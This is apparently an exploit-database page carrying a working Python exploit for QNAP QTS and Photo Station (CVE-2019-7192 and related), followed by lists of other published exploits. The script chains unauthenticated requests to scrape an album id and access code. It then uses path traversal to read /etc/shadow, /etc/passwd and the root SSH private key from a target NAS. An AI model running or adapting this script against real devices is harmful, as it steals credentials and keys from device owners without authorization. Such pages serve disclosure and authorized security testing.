Search for hundreds of thousands of exploits

"QNAP QTS and Photo Station 6.0.3 - Remote Command Execution"

Author

Exploit author

Th3GundY

Platform

Exploit platform

php

Release date

Exploit published date

2020-05-28

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
# Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution
# Exploit Author: Yunus YILDIRIM (Th3Gundy)
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com
# Date: 2020-05-28
# Vendor Homepage: https://www.qnap.com
# Version: QTS < 4.4.1 |  Photo Station < 6.0.3
# CVE: CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195
# References: https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit
# References: https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e
# References: https://www.qnap.com/zh-tw/security-advisory/nas-201911-25

######################################################################
######################################################################

#!/usr/bin/python3

__author__  = "Yunus YILDIRIM (@Th3Gundy)"
__version__ = "0.1"


import requests
import re, sys

# hide ssl error
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


def get_banner():
    print("""\033[91m
  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–„    β–ˆ  β–„β–„β–„       β–ˆβ–ˆβ–“β–ˆβ–ˆβ–ˆ  
β–’β–ˆβ–ˆβ–“  β–ˆβ–ˆβ–’ β–ˆβ–ˆ β–€β–ˆ   β–ˆ β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„    β–“β–ˆβ–ˆβ–‘  β–ˆβ–ˆβ–’
β–’β–ˆβ–ˆβ–’  β–ˆβ–ˆβ–‘β–“β–ˆβ–ˆ  β–€β–ˆ β–ˆβ–ˆβ–’β–’β–ˆβ–ˆ  β–€β–ˆβ–„  β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–“β–’
β–‘β–ˆβ–ˆ  β–ˆβ–€ β–‘β–“β–ˆβ–ˆβ–’  β–β–Œβ–ˆβ–ˆβ–’β–‘β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆ β–’β–ˆβ–ˆβ–„β–ˆβ–“β–’ β–’
β–‘β–’β–ˆβ–ˆβ–ˆβ–’β–ˆβ–„ β–’β–ˆβ–ˆβ–‘   β–“β–ˆβ–ˆβ–‘ β–“β–ˆ   β–“β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–’ β–‘  β–‘
β–‘β–‘ β–’β–’β–‘ β–’ β–‘ β–’β–‘   β–’ β–’  β–’β–’   β–“β–’β–ˆβ–‘β–’β–“β–’β–‘ β–‘  β–‘
 β–‘ β–’β–‘  β–‘ β–‘ β–‘β–‘   β–‘ β–’β–‘  β–’   β–’β–’ β–‘β–‘β–’ β–‘     
   β–‘   β–‘    β–‘   β–‘ β–‘   β–‘   β–’   β–‘β–‘       
    β–‘             β–‘       β–‘  β–‘  \033[0m     \033[94m {0} \033[0m
    """.format(__author__))


def get_file_content(file):
    post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}
    file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)

    print("="*65) ; print("{0} file content;\n{1}" .format(file,file_read_response.text))

# print banner
get_banner()

if len(sys.argv) != 2:
    print("\033[93mUsage : python3 gundy.py https://vulnerable_url:port\033[0m")
    sys.exit(-1)
    
url = sys.argv[1].rstrip('/')
headers = {"User-Agent": "Gundy - QNAP RCE"}

# for session cookie
req = requests.Session()

#######################################################################
# search album_id

print("="*65)
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)

if album_id_response.status_code != 200:
    print("album id not found \n\033[91mnot vulnerable\033[0m")
    sys.exit(0)
    
album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()

print("album_id     ==>  " + album_id)

#######################################################################
# search $_SESSION['access_code'] 

access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)
if access_code_response.status_code != 200:
    print("slideshow not found \n\033[91mnot vulnerable\033[0m")
    sys.exit(0)
    
access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group()

print("access_code  ==>  " + access_code)

#######################################################################

# /etc/passwd file read
get_file_content('./../../../../../etc/passwd')

# /etc/shadow read
get_file_content('./../../../../../etc/shadow')

# /etc/hostname read
get_file_content('./../../../../../etc/hostname')

# /root/.ssh/id_rsa read
get_file_content('./../../../../../root/.ssh/id_rsa')

#######################################################################
Release DateTitleTypePlatformAuthor
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"OpenEMR 5.0.1 - 'controller' Remote Code Execution"webappsphp"Emre Γ–VÜNΓ‡"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
2020-06-26"KiteService 1.2020.618.0 - Unquoted Service Path"localwindows"Marcos Antonio LeΓ³n"
2020-06-25"FHEM 6.0 - Local File Inclusion"webappsphp"Emre Γ–VÜNΓ‡"
2020-06-25"mySCADA myPRO 7 - Hardcoded Credentials"remotehardware"Emre Γ–VÜNΓ‡"
2020-06-24"BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting"webappsmultiple"William Summerhill"
2020-06-23"Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)"webappsphpBKpatron
2020-06-23"Lansweeper 7.2 - Incorrect Access Control"localwindows"Amel BOUZIANE-LEBLOND"
Release DateTitleTypePlatformAuthor
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"OpenEMR 5.0.1 - 'controller' Remote Code Execution"webappsphp"Emre Γ–VÜNΓ‡"
2020-06-25"FHEM 6.0 - Local File Inclusion"webappsphp"Emre Γ–VÜNΓ‡"
2020-06-23"Responsive Online Blog 1.0 - 'id' SQL Injection"webappsphp"Eren Şimşek"
2020-06-23"Online Student Enrollment System 1.0 - Cross-Site Request Forgery (Add Student)"webappsphpBKpatron
2020-06-22"Student Enrollment 1.0 - Unauthenticated Remote Code Execution"webappsphpEnesdex
2020-06-22"Online Student Enrollment System 1.0 - Unauthenticated Arbitrary File Upload"webappsphpBKpatron
2020-06-22"WebPort 1.19.1 - 'setup' Reflected Cross-Site Scripting"webappsphp"Emre Γ–VÜNΓ‡"
2020-06-18"Beauty Parlour Management System 1.0 - Authentication Bypass"webappsphp"Prof. Kailas PATIL"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48531/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.